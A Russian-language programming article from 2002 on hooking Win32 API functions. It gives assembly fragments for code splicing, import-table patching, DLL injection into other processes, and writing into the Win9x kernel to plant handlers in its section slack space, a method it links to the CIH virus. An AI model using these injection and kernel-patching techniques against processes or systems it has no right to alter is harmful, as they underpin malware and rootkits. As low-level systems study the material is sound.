Система перехвата функций API платформы Win32

Дата публикации 20 авг 2002

Система перехвата функций API платформы Win32 — Архив WASM.RU

1. Введение

  Во времена MS DOS ни одна серьезная программа не обходилась без перехватов прерываний - сервисов системы для установки на них своих процедур-обработчиков. Это было совершенно необходимо, например, для обеспечения "псевдо-многозадачности" (pop up), реакции на таймер в режиме реального времени, получения расширенной информации об одновременно нажатых пользователем клавиш и т.п. Установка своих обработчиков могла осуществляться даже без ведома системы, - правда, тогда была вероятность того, что DOS выделит память с находящимся в ней обработчиком для какой- либо программы, что чревато крахом системы. Для мелких резидентов это было не страшно, а большие "защищались" несколькими способами - например, маркированием области как используемой DOS в системных целях (установка маркера 80h). Резиденты могли привести систему в нестабильное состояние. Чтобы этого не случилось, разработчики должны были учитывать очень большое число тонкостей и "подводных камней" ОС и принимать соответствующие меры. К тому же, обработчики прерываний писались чаще всего на ЯА в целях экономии памяти и увеличении скорости работы. Отсюда следует, что качественные резиденты - столь необходимую в программировании под DOS технику - писали только программисты довольно высокой квалификации.
  Системы Win32 претендуют на то, что ни один пользовательский процесс не может нарушить либо повлиять на работу другого или вызвать крах системы. Само понятие "резидент" в Win32 теряет свой смысл, так как каждый процесс работает в своем контексте памяти. Поэтому разработчики этих ОС отказались от подобного механизма, оставив только возможность обработки оконных сообщений (возможно, даже чужого процесса). Обработка оконных сообщений - это единственный метод получения информации о действиях пользователя для GUI приложений.
  Разработчики Win32, конечно, предоставили сервисы ОС для осуществления того, что в DOS могло быть сделано только путем установки резидента. Часть из них реализована через систему оконных сообщений, часть - через сервисы 3-го кольца (user mode), а остальные - в виде низкоуровневых сервисов, которые могут использоваться только драйверами (kernel mode). То есть, единый в прошлом механизм разделился на совершенно разные по сути подсистемы ОС. Это накладывает большие ограничения на его использование.
  К примеру, пользователь NT (Win2k) с привилегиями пользователя или гостя хочет защититься от атак из сети на отказ, нежелательных соединений, либо проверить, не передается ли от него какая-либо информация без его ведома. Это может быть решено путем установки драйвера - сниффера (sniffer) его сетевой карты, то есть персонального файрволла (firewall). Проблема состоит в том, что он не может установить свой драйвер в систему, так как он не имеет администраторских прав. Это ограничение действительно необходимо - ведь в противном случае даже гость может сделать с системой все, что угодно, так как код драйвера исполняется в нулевом кольце. Он, к примеру, может получить администраторские права, покопавшись в коде процесса Winlogon.exe.
  Однако эта же задача может быть решена без использования драйверов с практически той же эффективностью.

2. Перехват вызовов API в системах Windows NT и Windows 9X

2.1. Теория

  Нельзя утверждать, что адреса функций даже в системных библиотеках (например, Kernel32.dll) не изменяются в зависимости от версии ОС, ее сборки либо даже конкретной ситуации. Это происходит из-за того, что предпочитаемая база образа библиотеки (dll preferred imagebase) является константой, которую можно изменять при компиляции. Более того, совсем не обязательно, что dll будет загружена именно по предпочитаемому адресу, - этого может не произойти в результате коллизии с другими модулями, динамически выделенной памятью и т.п. Поэтому статический импорт функций происходит по имени модуля и имени функции (либо ее номера - ординала), предоставляемой этим модулем. Загрузчик PE файла анализирует его таблицу импорта и определяет адреса функций, им импортируемых. В случае, если в таблице импорта указана библиотека, не присутствующая в контексте, происходит ее отображение в требуемый контекст, настройка ее образа и ситуация рекурсивно повторяется. В результате в требуемом месте определенной секции PE файла (имеющей атрибут "readable") заполняется массив адресов импортируемых функций. В процессе работы каждый модуль обращается к своему массиву для определения точки входа в какую-либо функцию. Отсюда следует, что для перехвата функций в рамках одного контекста с уже инициализированными модулями, работающими потоками можно действовать двумя способами.
  Первый состоит в следующем. Определяется адрес нашего обработчика перехватываемой функции, расположенного, к примеру, в загруженной в контекст данного процесса библиотеке. Определяется настоящий адрес функции и производится замещение первых 5 байт ее кода на длинный прыжок к нашему обработчику. Для вызова исходного кода функции обработчик должен восстановить прежние байты кода, сделать вызов функции, и после возвращения управления восстановить опкод JMP в начале функции, иначе наш обработчик никогда не получит управление вновь. Этот метод называется "сплайсингом". Рассмотрим его сильные и слабые стороны.

  + Так как исправляется только память модуля, в котором производится перехват, то наш код будет вызываться как в результате вызовов функции как старыми модулями, так и динамически подгружаемыми, так как адрес перехватываемой функции не изменился - произведена лишь "врезка" нескольких байтов. При вызове перехватываемой функции наш код обязательно вызовется.
  + Будут перехватываться вызовы даже внутри обработанного модуля, так как неважно, каким образом точка входа перехватываемой функции получила управление.
  + Становится элементарной деинсталляция нашего обработчика - достаточно восстановить исходные байты.

  - В системах Win95/98 некоторые системные библиотеки (kernel32, user32 и др.) загружаются в адресное пространство "2Gb, которое проецируется на все контексты, присутствующие в системе. Это усложняет процесс перехвата их функций, так как содержимое памяти свыше 2Gb не может быть изменено стандартными документированными API функциями. Установить разрешение на запись в эту область памяти может функция _PageModifyPermissions, вызывающаяся с помощью kernel32!VxDCall0 и имеющая номер 1000dh. После установки атрибута "writable" на необходимый регион памяти и осуществления записи в него изменения произойдут во всех присутствующих контекстах одновременно. Значит, код нашего обработчика должен располагаться по одинаковым адресам во всех контекстах. Это возможно только если код будет находиться выше 2Gb - этого можно добиться несколькими способами. Вот самые распространенные из них: непосредственное указание требуемого imagebase линкеру динамически загружаемой библиотеки при компиляции ("2Gb); расположение кода в межсекционном пространстве какого-либо модуля, загруженного выше 2Gb; выделение памяти, проецируемой на все контексты (например, из файла подкачки) и копирование туда своего кода. Таким образом, наш обработчик будет получать управление в результате вызова перехватываемой функции в любом контексте. Если же необходимо осуществить перехват функции только в определенном контексте, обработчик должен вызывать GetCurrentProcessId() для получения сведений о вызывателе. Если же перехват сужается до определенного модуля, то кроме идентификации текущего процесса необходим анализ стека для определения вызывающего модуля.
  - Если наш обработчик получил управление, восстановил исходные байты и занялся чем-то, то другой поток в этот момент может вызвать настоящую функцию, то есть вызов перехвачен не будет - реентерабельность обработчиков не гарантируется даже при правильной организации кода. Эта проблема в общем случае не имеет решения.

  Другой метод выглядит так. Определяется точка входа перехватываемой функции. Составляется список модулей, в настоящий момент загруженных в контекст требуемого процесса. Затем перебираются дескрипторы импорта этих модулей в поиске адресов перехватываемой функции. В случае совпадения этот адрес изменяется на адрес нашего обработчика.

  + Осуществляется реентерабельность нашего обработчика, так как код перехватываемой функции не изменяется вообще.
  + Становится более гибким выбор модуля/процесса, в котором необходимо осуществить перехват. Тело нашего обработчика может находиться по разным адресам в разных контекстах.

  - Уже инициализированные модули могут сохранить настоящий адрес функции и впоследствии вызывать именно его, минуя наш обработчик.
  - Необходимо каким-то образом распространять наши обработчики на динамически загружаемые модули. Это в свою очередь можно осуществить несколькими способами.

  1. В модуле, содержащем код перехватываемой функции, изменяется таблица экспорта - точнее, относительный виртуальный адрес (RVA) перехватываемой экспортируемой функции. Загрузчик PE будет указывать эти значения (+imagebase) в таблицы импорта новых модулей. Также функция GetProcAddress будет возвращать адреса наших обработчиков. Этот способ имеет существенный недостаток. Рассмотрим пример: пусть мы перехватываем некоторую функцию из kernel32. Процессом был вызван GetProcAddress(kernel32_base,&kernel_function_name) для получения ее адреса. Так как kernel32 загружен во всех контекстах по одному и тому же адресу, то адрес, возвращенный GPA, можно использовать для вызова функции удаленным кодом. Далее процесс выделяет память, к примеру, в контексте своего дочернего процесса, и после этого копирует удаленный код в эту область памяти. После этого он вызывает CreateRemoteThread для создания удаленного потока. Но так как мы перехватили одну из вызываемых этим потоком функций, то ее адрес больше не принадлежит региону kernel32. Даже если эта функция перехвачена и в дочернем процессе, то нельзя гарантировать однозначность адреса нашего обработчика в обоих контекстах. То есть очень вероятно, что при исполнении удаленного потока возникнет ситуация передачи управления не на наш обработчик - например, на неинициализированную страницу, страницу, не имеющую атрибут "executable" или вообще в чужой код. Любой из этих случаев приведет к GPF и процесс-мишень будет аварийно завершен.
  2. 2. Во избежание ситуации, описанной выше, нельзя перехватывать функции, часто используемые как начальная точка удаленного потока - LoadLibraryA, LoadLibraryW. Они являются всего лишь переходниками к более мощным функциям - LoadLibraryExA, LoadLibraryExW. Но их перехват не решит проблему, так как переход к ним в kernel32 делается коротким - по относительному смещению, не используя таблицу импорта. Но при более детальном изучении этих функций оказывается, что LoadLibraryExA сводится к LoadLibraryExW, а та, в свою очередь, к недокументированной функции ntdll!LdrLoadDll. Ее перехват необходим для решения двух задач: инсталляции перехвата функций на динамически загружаемые библиотеки и возможности установки обработчиков в цепочку.

2.2. Создание и исполнение удаленного кода

  Удаленный код - код, исполняемый вне контекста, изначально его содержащего. Чтение-запись процессом памяти другого осуществляется функциями kernel32!ReadProcessMemory и, соответственно, kernel32!WriteProcessMemory. Синтаксис вызова этих функций идентичен; одним из параметров является хэндл процесса, над которым производится операция - процесс "открывается" для каких-либо (определенных) действий. Производится это функцией kernel32!OpenProcess.
  В операционных системах, поддерживающих систему привилегий (NT/Win2k) возможность успешного открытия процесса зависит от текущего уровня привилегий процесса - исполнителя. В частности, функция OpenProcess по отношению к процессу winlogon.exe выполнится только при включенной привилегии SE_DEBUG_PRIVILEGE. Ей в большинстве случаев обладают только администраторы, так как она позволяет манипулировать со всеми без исключения процессами системы, что чревато крахом самой ОС либо ее системы безопасности. Таким образом, возможность чтения-записи памяти чужого процесса ограничена привилегиями пользователя. Так как чтение-запись памяти - краеугольный камень всей идеологии перехватов API, то очевидно, что существует класс задач, невыполнимых пользователем, не имеющим, к примеру, администраторских прав. Однако такой пользователь может применить перехват функций к любому процессу, запущенному (прямо либо косвенно) им самим (CreateProcess и аналоги), что в большинстве случаев и требуется.
  Рассмотрим варианты внедрения динамически загружаемой библиотеки в чужой контекст. Как известно, после инициализации dll происходит исполнение ее точки входа (как PE файла) с тремя параметрами. Именно в этой процедуре будет находиться код, осуществляющий перехват функций.

  1. Использование стандартной функции SetWindowsHookEx. Эта функция устанавливает хук на оконные сообщения. Она предназначена для отслеживания сообщений окон как своего процесса, так и чужого. В этом случае код обработчика должен находиться в dll. Реализация функции в общих чертах такова:
    • она проецирует библиотеку на все контексты, которые удовлетворяют следующим условиям: их потоки имеют в текущий момент GUI - окно, принимающее сообщения от пользователя, а их процессы могут быть успешно открыты пользователем функцией OpenProcess с параметром PROCESS_ALL_ACCESS;
    • для каждого из таких потоков встраивает требуемый обработчик в цепочку существующих. Наиболее интересным моментом является то, что функция автоматически проецирует библиотеку и на новые GUI процессы - процессы, которых не было в момент ее вызова.

      Таким образом, в результате исполнения нижеследующего кода библиотека myhookingdll будет спроецирована на все оговоренные контексты, и все ее копии получат уведомление DLL_PROCESS_ATTACH.

    Код (Text):
    1.  
    2.  call            LoadLibraryA,offset myhookingdll,0
    3.  call            GetProcAddress,eax,offset mydummyhook,eax
    4.  call            SetWindowsHookExA,WH_CBT,eax
    5.  
  2. Использование удаленных потоков. В WinNT и Win2k существуют функции для создания удаленных потоков. Из них документирована одна - kernel32!CreateRemoteThread. В качестве параметров к ней передаются хэндл процесса, в котором будет создан поток, его стартовый адрес (в чужом контексте), аргумент функции потока (ее прототип - DWORD WINAPI ThreadFunc(PVOID pvParam)), начальный размер стэка и другие. Самый простой способ загрузки библиотеки в чужой контекст с использованием CreateRemoteThread - это указать стартовый адрес потока как адрес функции LoadLibraryA (или W) и поместить в качестве параметра указатель на имя библиотеки. Для этого нужно проделать следующие шаги:
    • открыть чужой процесс функцией OpenProcess как минимум с флагами PROCESS_CREATE_THREAD | PROCESS_VM_WRITE;
    • выделить память в чужом контексте для размещения там имени библиотеки с путем (функцией VirtualAllocEx);
    • скопировать туда полное имя библиотеки (функцией WriteProcessMemory);
    • узнать адрес функции LoadLibraryA (W);
    • выполнить CreateRemoteThread с начальным EIP равным полученному адресу LoadLibrary*;
    • закрыть процесс и поток.

      Все вышеописанные действия проводит следующий код:

    Код (Text):
    1.  
    2.   call   OpenProcess,PROCESS_ALL_ACCESS,1,PID
    3.   xchg   eax,ebx
    4.   call   VirtuallAllocEx,ebx,0,mydllnamesize,MEM_COMMIT,\
    5.          PAGE_READWRITE,ebx
    6.   call   WriteProcessMemory,ebx,eax,\
    7.          offset mydll, mydllnamesize,0,eax,0,0
    8.   call   GetModuleHandleA,offset kernel32
    9.   call   GetProcAddress,eax,offset _LoadLibrary
    10.   call   CreateRemoteThread,ebx,0,0,eax
    11.   call   WaitForSingleObject,eax,INFINITE,eax
    12.   call   CloseHandle
    13.   call   CloseHandle
    14.  

2.3. Изменение таблиц импорта

  Когда компилятор встречает в исходном тексте вызов функции, которая присутствует не в компилируемом исполняемом файле, а в некотором другом - чаще всего, в dll, в простейшем случае он генерирует 'call' на этот символ. Впоследствии линкер исправляет этот псевдовызов на вызов переходника ("stub"), используя библиотеку импорта, содержащую переходники для всех экспортируемых символов в указанных библиотеках. Такие переходники состоят из одной инструкции - 'jmp [x]', где x - адрес двойного слова в таблице импорта PE файла. Эти адреса загрузчик PE файла заполняет корректными значениями при инициализации модуля, опираясь на данные, указанные в таблице импорта.
  В более сложных случаях (при непосредственном указании импортируемой функции) компилятор генерирует 'call [x]', минуя переходник. Таблица (директория) импорта должна располагаться в секции, имеющей атрибуты "инициализированные данные" и "читаемая" (IMAGE_SCN_CNT_INITIALIZED_DATA и IMAGE_SCN_MEM_READ). Таблица импорта состоит из массива структур - дескрипторов импорта (IMAGE_IMPORT_DESCRIPTOR), завершающим элементом которого является нулевая структура. Дескриптор импорта выглядит следующим образом:

Код (Text):
  1.  
  2. IMAGE_IMPORT_BY_NAME    STRUC
  3. IBN_Hint                DW      ?
  4. IBN_Name                DB      1 DUP (?)       ;длина не фиксирована
  5. IMAGE_IMPORT_BY_NAME    ENDS
  6.  
  7. IMAGE_THUNK_DATA        STRUC
  8. UNION
  9. TD_AddressOfData        DD      IMAGE_IMPORT_BY_NAME PTR ?
  10. TD_Ordinal              DD      ?
  11. TD_Function             DD      BYTE PTR ?
  12. TD_ForwarderString      DD      BYTE PTR ?
  13. ENDS
  14. IMAGE_THUNK_DATA        ENDS
  15.  
  16. IMAGE_IMPORT_DESCRIPTOR STRUC
  17. UNION
  18. ID_Characteristics      DD      ?
  19. ID_OriginalFirstThunk   DD      IMAGE_THUNK_DATA PTR ?
  20. ENDS
  21. ID_TimeDateStamp        DD      ?
  22. ID_ForwarderChain       DD      ?
  23. ID_Name                 DD      BYTE PTR ?
  24. ID_FirstThunk           DD      IMAGE_THUNK_DATA PTR ?
  25. IMAGE_IMPORT_DESCRIPTOR ENDS
  26.  

  ID_OriginalFirstThunk и ID_FirstThunk содержат относительные виртуальные адреса (RVA) структур IMAGE_THUNK_DATA, описывающие импортируемые функции.
  ID_TimeDateStamp содержит предполагаемый "штамп времени" модуля-экспортера и используется при технике линковки "bound imports". Если импорты не связаны, то значение этого поля =0.
  ID_ForwarderChain содержит RVA первого форварда в списке импортируемых функций. Если форварды отсутствуют, то значение этого поля =-1. ID_Name содержит RVA имени импортируемого модуля.
  Массивы ID_OriginalFirstThunk и ID_FirstThunk идут параллельно. Два массива необходимо для сохранения информации о импортируемых функциях - массив ID_OriginalFirstThunk загрузчиком изменен не будет, а массив ID_FirstThunk будет заполнен адресами требуемых функций (RVA имен функций уничтожатся).

  Модуль может экспортировать функции, реализация которых в нем не присутствует, а лишь импортируется из другого модуля. Этот прием называется "форвардинг функций". Его можно проиллюстрировать на примере wsock32.dll. Эта библиотека экспортирует множество функций, часть из которых есть переходники к функциям ws2_32.dll, а часть просто отсутствует в модуле: при импорте отсутствующей, но экпортируемой функции из wsock32, загрузчик, анализируя форварды wsock32, обнаруживает, что он должен экспортировать эту функцию из другого модуля - в частности, из ws2_32.dll.
  Смысл перехвата функций методом исправления таблицы импорта состоит в следующем:

  1. определяется адрес перехватываемой функции;
  2. исходя из данных PE заголовка модуля-жертвы вычисляется адрес его таблицы импорта;
  3. среди дескрипторов импорта ищется тот, который описывает импорты из модуля, содержащего реализацию перехватываемой функции;
  4. перебираются все структуры IMAGE_THUNK_DATA, начиная с RVA=ID_FirstThunk найденного дескриптора в поисках полей TD_Function, содержащих адрес перехватываемой функции;
  5. найденные адреса заменяются адресом обработчика перехваченной функции.

  Код функции, осуществляющей вышеперечисленные шаги, может выглядеть так (форвардинг функций не учитывается):

Код (Text):
  1.  
  2. hook_api     proc            modbase:dword,modname:dword,\
  3.                              procname:dword,hook_proc:dword
  4.              local           oldproc:dword
  5.              local           dummy:dword
  6.  
  7.              pushad
  8.              @SEH_SetupFrame "jmp bad_exit"
  9.              call            IsBadCodePtr,hook_proc    ; проверка корректности
  10.                                                        ; вызова
  11.              test            eax,eax
  12.              jnz             bad_exit
  13.              push            procname                        ; шаг 1 - узнаем
  14.                                                              ; адрес
  15.              call            GetModuleHandleA,modname        ; перехватываемой
  16.                                                              ; функции
  17.              call            [realGetProcAddress],eax
  18.              test            eax,eax
  19.              mov             oldproc,eax
  20.              jz              bad_exit
  21.              mov             edi,modbase
  22.              call            IsBadReadPtr,edi,40h
  23.              test            eax,eax
  24.              jnz             bad_exit
  25.              cmp             word ptr [edi],'ZM'
  26.              jnz             bad_exit
  27.              mov             ebx,[edi.MZ_lfanew]
  28.              push            0F8h
  29.              add             ebx,edi
  30.              call            IsBadReadPtr,ebx
  31.              test            eax,eax
  32.              jnz             bad_exit
  33.              cmp             dword ptr [ebx],'EP'
  34.              jnz             bad_exit
  35.              mov             esi,[ebx.NT_OptionalHeader\  ; шаг 2: получение
  36.                                      .OH_DirectoryEntries\; адреса
  37.                                      .DE_Import\          ; таблицы импорта
  38.                                      .DD_VirtualAddress]
  39.              or              esi,esi
  40.              jz              bad_exit
  41.              add             esi,edi
  42.              cmp             esi,ebx
  43.              jz              bad_exit
  44.              stc
  45.              mov             eax,[esi.ID_Name]
  46.              test            eax,eax
  47.              jz              no_imps
  48. next_imp_desc:                                     ; шаг ь4: перебираем
  49.                                                 ; дескрипторы импорта
  50.              push            esi
  51.              push            edi
  52. nxtchar__:   call            patchthisidesk
  53.  
  54.              pop             edi
  55.              pop             esi
  56.              mov             eax,[(esi\
  57.                              +IMAGE_SIZEOF_IMPORT_DESCRIPTOR).ID_Name]
  58.              add             esi, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
  59.              test            eax,eax
  60.              jnz             next_imp_desc
  61. no_imps:     popad
  62.              xor             eax,eax
  63.              jc              simpleret
  64.              mov             eax,oldproc
  65. simpleret:   @SEH_RemoveFrame
  66.              ret
  67.  
  68. bad_exit:    @SEH_RemoveFrame
  69.              popad
  70.              xor             eax,eax
  71.              stc
  72.              ret
  73. bad_exit4proc:
  74.              pop             eax
  75.              jmp             mismatch
  76.  
  77. patchthisidesk:                                         ; шаг ь3: ищем вход
  78.              add             esi,0ch                    ; перехватываемой
  79.              call            IsBadReadPtr,esi,8         ; функции в данном
  80.                                                         ; дескрипторе импорта
  81.              sub             esi,0ch
  82.              test            eax,eax
  83.              jnz             bad_exit4proc
  84.              mov             eax,[esi.ID_Name]
  85.              test            eax,eax
  86.              jz              bad_exit4proc
  87.              mov             esi,[esi.ID_FirstThunk]
  88.              add             esi,edi
  89.              call            IsBadReadPtr,esi,4
  90.              test            eax,eax
  91.              jnz             bad_exit4proc
  92.              mov             eax,[esi]
  93.              test            eax,eax
  94.              jz              bad_exit4proc
  95.              mov             edi,oldproc
  96.  
  97. next_thunk:
  98.              cmp             eax,edi
  99.              jnz             next_thunk__
  100.              call            VirtualProtect,esi,1000h,4,offset dummy,esi
  101.              pop             esi
  102.  
  103.              mov             eax,hook_proc
  104.              mov             [esi],eax               ; шаг ь5: заменим адрес
  105.                                                      ; на свой
  106.              clc
  107. next_thunk__:
  108.              mov             eax,[esi+4]             ; проверим TD_Function
  109.                                                      ; следующего блока на 0
  110.              add             esi,4
  111.              test            eax,eax
  112.              jnz             next_thunk
  113.              db              0c3h;ret
  114. hook_api     endp
  115.  

2.4. Сплайсинг функций ядра Windows 9X

  В Win9x, в отличие от WinNT/Win2k, память, начиная с 2Gb, спроецирована на все контексты, присутствующие в системе, то есть ее содержимое одинаково для всех процессов. В этом регионе памяти находятся модули ядра, объекты ядра и пользовательские объекты, доступные всем контекстам - проекции файлов. Документированный Windows API не предоставляет средств для внесения изменений в память "2Gb. VirtualProtect + WriteProcessMemory завершается неудачно. Дж. Рихтер в своей книге "Programming Applications for Microsoft Windows" так поясняет эту ситуацию: "On Windows 98, the main Windows DLLs (Kernel32, AdvAPI32, User32, and GDI32) are protected in such a way that an application cannot overwrite their code pages. You can get around this by writing a virtual device driver (VxD)". Однако эту проблему можно решить и без написания собственного VxD. Достаточно вызвать VxDCall0 _PageModifyPermissions. VxDCall0 - это всегда первая экспортируемая Kernel32.dll функция. Нижеследующий код разрешит на чтение/запись первую страницу kernel32 (идея впервые описана Vecna).

Код (Text):
  1.  
  2.    call            GetModuleHandleA,offset kernel32
  3.    mov             ebx,eax
  4.    mov             eax,[ebx.MZ_lfanew]
  5.    lea             edi,[eax.ebx]
  6.    mov             esi,[edi.NT_OptionalHeader.\
  7.                    OH_DirectoryEntries.DE_Export.\
  8.                    DD_VirtualAddress]
  9.    mov             esi,[esi.ebx.ED_AddressOfFunctions]
  10.    mov             ecx,[esi.ebx]
  11.    add             ecx,ebx         ;ecx==VxDCall0
  12.    shr             ebx,12
  13.    push            020060000h
  14.    push            00h
  15.    push            01h
  16.    push            ebx
  17.    push            001000dh        ;_PageModifyPermissions
  18.    call            ecx
  19.  

  Надо учитывать спроецированность памяти "2Gb, ведь если некоторый регион будет разрешен для записи, а потом его память будет изменена, то эти изменения произойдут одновременно во всех контекстах. Таким образом, если удастся изменить ядро для передачи управления некоторых функций другим обработчикам, расположенным в памяти "2Gb (память пользовательского процесса), то при вызове перехваченной функции процессом другого контекста произойдет сбой - по указанному адресу не окажется соответствующего кода обработчика. Следовательно, код глобальных обработчиков функций ядра необходимо располагать также в памяти "2Gb. Код в памяти "2Gb можно расположить несколькими способами. Если размер кода небольшой, то его можно уместить в межсекционное пространство какого-либо модуля ядра (размер кода не больше разницы между физической и виртуальной длиной секции PE модуля). Следующий код пытается найти удовлетворяющее этому требованию место в регионе, занятом kernel32 и, в случае успеха, копирует в найденное пространство код обработчика.

Код (Text):
  1.  
  2.              call            GetModuleHandle,offset kernel32
  3.              mov             ebx,eax
  4.              mov             eax,[ebx.MZ_lfanew]
  5.              movzx           ecx,word ptr [eax.ebx.NT_FileHeader.\
  6.                              FH_NumberOfSections]
  7.              lea             esi,[eax.ebx+SIZE IMAGE_NT_HEADERS]
  8. try_next_section:
  9.              mov             eax,[esi.SH_Characteristics]
  10.              and             eax,IMAGE_SCN_MEM_WRITE\
  11.                              +IMAGE_SCN_MEM_READ\
  12.                              +IMAGE_SCN_CNT_INITIALIZED_DATA
  13.              cmp             eax,IMAGE_SCN_MEM_WRITE\
  14.                              +IMAGE_SCN_MEM_READ\
  15.                              +IMAGE_SCN_CNT_INITIALIZED_DATA
  16.              jne             next_section
  17.              mov             eax,[esi.SH_SizeOfRawData]
  18.              mov             edi,[esi.SH_VirtualSize]
  19.              sub             eax,edi
  20.              cmp             eax,CODE_SIZE
  21.              jb              next_section
  22.              add             edi,[esi.SH_VirtualAddress]
  23.              add             edi,ebx
  24.              jmp             copy_code
  25. next_section:
  26.              add             esi,IMAGE_SIZEOF_SECTION_HEADER
  27.              loop            try_next_section
  28.              jmp             section_not_found
  29. copy_code:
  30.              mov             esi,offset IMPLANT_CODE
  31.              mov             ecx,CODE_SIZE
  32.              cld
  33.              rep             movsb    ;скопировать код в найденное пр-во
  34.  

  Плюс этого метода в том, что процесс, осуществивший запись в межсекционное пространство, никак не связан с этой памятью. Он может быть закрыт, и память не будет освобождена.
  Однако чаще всего свободной памяти, найденной таким путем, не хватает. В таком случае можно "разбросать" части своего обработчика по всем межсекционным пространствам модулей, загруженным выше 2Gb, а потом "склеивать" части обработчика на лету. Этот метод используется, к примеру, в вирусе Win9X.CIH (он распределяет свой код в межсекционном пространстве зараженного модуля - при этом физический размер модуля на диске не изменяется). Таким способом можно размещать обработчики размером не больше 10kb. Понятно, что любой серьезный проект будет превышать этот предел.
  Существует более простой и надежный метод выделения памяти >2Gb. Можно выделить память под объект - проекцию файла, например, из своп-файла. Содержимое подобного объекта будет расположено системой >2Gb, все выделенные страницы могут быть помечены атрибутом "исполняемые".

Код (Text):
  1.  
  2.   call            CreateFileMappingA,0ffffffffh,NULL,\
  3.                   PAGE_READWRITE,0,IMPLANT_SIZE,0
  4.   call            MapViewOfFile,eax,FILE_MAP_WRITE+\
  5.                   SECTION_MAP_EXECUTE,0,0,IMPLANT_SIZE
  6.   mov             edi,eax
  7.   mov             esi,offset IMPLANT
  8.   mov             ecx,IMPLANT_SIZE
  9.   cld
  10.   rep             movsb
  11.  

  С помощью этого метода можно выделить память сколь угодно большого размера, но она будет иметь хозяина - процесс, ее выделивший. Поэтому если процесс, установивший глобальный обработчик в память "2Gb завершится, то память, им аллоцированная, освободится; любой вызов в ядре, приводящий к передаче управления на эту память в лучшем случае приведет к аварийному завершению процесса, чей поток совершил "незаконное" действие, а в худшем - к краху системы. Следовательно, глобальный перехватчик функция ядра не должен завершиться.
  Общим недостатком этих методов является неопределенность базового адреса копируемого кода. В любом случае, очевидно, что базовый адрес, указанный линковщиком при компиляции модуля - перехватчика, не совпадет с его истинной базой в памяти. Также возникает вопрос о вызовах API функций таким обработчиком - таблица импорта отсутствует.
  Самое простое решение первой проблемы состоит в применении техники базонезависимого кода. Идея в том, что в самом коде хранятся лишь относительные адреса данных. При инициализации кода он определяет свою базу и, прибавляя ее к относительным адресам, вычисляет абсолютные адреса данных. Код на ЯВУ не может быть базонезависимым в силу негибкости компиляторов (уточнение: может, но только в случае неиспользования им глобальных меток)

  Пример базонезависимого кода:

Код (Text):
  1.  
  2.              call            delta
  3. delta:       pop             ebp
  4.              sub             ebp,offset delta-code_start
  5.              lea             esi,[ebp+(offset _data-code_start)]
  6.              ...
  7. _data        db              'Text',0
  8.  

  Рассмотрим решение второй проблемы применительно к функциям ядра. Так как модули ядра присутствуют во всех контекстах по одному и тому же адресу, то для вызовов их функций из обработчиков достаточно построить в них переходники, а необходимые адреса функций в них будут записываться еще до копирования кода обработчика в регион >2Gb. Типичный код переходника и кода, его заполняющего, выглядит так:

Код (Text):
  1.  
  2.  ; код в секции кода процесса-перехватчика
  3.              call            GetModuleHandleA,offset user32
  4.              call            GetProcAddress,eax,offset msgboxa
  5.              mov             msgboxa_,eax
  6.              ...
  7.  ; код в секции данных процесса-перехватчика:
  8.  ; он будет скопирован в память >2Gb
  9. _MessageBoxA:mov             eax,12345678h
  10.              org             $-4
  11. msgboxa_     dd              0
  12.              jmp             eax
  13.  

  Используя вышеприведенную технику, вызов функций ядра становится тривиальным.

Код (Text):
  1.  
  2.    mov             eax,[ebp+(offset _uType-code_start)]
  3.    push            eax
  4.    lea             eax,[ebp+(offset _caption-code_start)]
  5.    push            eax
  6.    lea             eax,[ebp+(offset _text-code_start)]
  7.    push            eax
  8.    mov             eax,[ebp+(offset _hWnd-code_start)]
  9.    push            eax
  10.    call            _MessageBoxA
  11.  

  Но как быть в случае, когда необходимо вызвать функцию из библиотеки, расположенной ниже 2Gb? В разных контекстах она может быть загружена (если загружена) в результате коллизий по разным адресам - следовательно, ее адрес нельзя заранее записать в переходник. В этом случае сначала нужно определить адрес библиотеки в текущем контексте (если библиотека туда не загружена, загрузить ее), а затем найти адрес требуемой функции.
  Для надежности не следует сразу пользоваться функциями LoadLibrary*, т.к. если библиотека уже находилась в контексте, то эта операция инкрементирует ее счетчик использования. Если окажется так, что эта dll была загружена в контекст единственный раз, то процесс-хозяин, выполнив FreeLibrary, должен был бы выгрузить ее, но в результате непредусмотренного вызова LoadLibrary* FreeLibrary лишь декрементирует ее счетчик, и может нарушиться логика выполнения программы-хозяина. Таким образом, для более "невидимого" вмешательства в чужой процесс необходимо сначала проверить присутствие требуемого модуля функцией kernel32!GetModuleHandle, и только в случае его отстутствия воспользоваться LoadLibrary* (после выполнения функций dll следует выгрузить с помощью FreeLibrary по тем же причинам).

Код (Text):
  1.  
  2.              lea             ebx,[ebp+(offset ws2_32-offset code_start)]
  3.              call            _GetModuleHandleA,ebx
  4.              push            ebp
  5.              xor             ebp,ebp
  6.              or              eax,eax
  7.              jnz             dllloaded
  8.              call            _LoadLibrary,ebx
  9.              mov             ebp,eax
  10. dllloaded:   lea             ecx,[ebp+(offset clsock-offset code_start)]
  11.              call            _GetProcAddress,ebx,ecx
  12.              mov             ecx,[ebp+(offset hSocket-offset code_start)]
  13.              call            eax,ecx
  14.              call            _FreeLibrary,ebp        ; пройдет успешно, если
  15.              pop             ebp                     ; dll загрузили мы
  16.  

  Итак, любая память доступна нам для чтения/записи, наш код может выполняться корректно вне зависимости от его базы и вызывать любые API функции. Теперь можно приступить к исправлению кода функций ядра для передачи управления нашему обработчику.
  Ebp указывает на начало найденной памяти. Для начала сохраним первые 5 байт перехватываемой функции.

Код (Text):
  1.  
  2.   call            GetProcAddress,ebx,offset lla
  3.   mov             edi,eax
  4.   lea             esi,[ebp+(offset lla_code-offset code_start)]
  5.   push            edi
  6.   xchg            esi,edi
  7.   movsb
  8.   movsd
  9. <pre></blockquote>
  10.  
  11. <p>&nbsp; Затем  изменим  флаг  разрешения  записи  атрибута  страницы, содержащей
  12.  начало перехватываемой функции, на истину.
  13.  
  14. <blockquote><pre>
  15.    mov             eax,[esp]
  16.    pushad
  17.    shr             eax,12
  18.    push            020060000h
  19.    push            00h
  20.    push            01h
  21.    push            eax
  22.    push            001000dh                ;_PageModifyPermissions
  23.    mov             eax,[vxdcall0]
  24.    call            eax
  25.    popad
  26.    pop             edi
  27.  

  Построим 5-байтовый JMP в начале функции.

Код (Text):
  1.  
  2.    mov             al,0e9h
  3.    stosb
  4.    stosd                                   ;прибавим 4 к edi
  5.  
  6.    lea             eax,[ebp+(offset lla_entry-offset code_start)]
  7.    sub             eax,edi
  8.    mov             [edi-4],eax
  9.  

  При таком методе организации сплайсинга обработчик перехваченной функции может выгдядеть так (синтаксис функции - 1 двойное слово):

Код (Text):
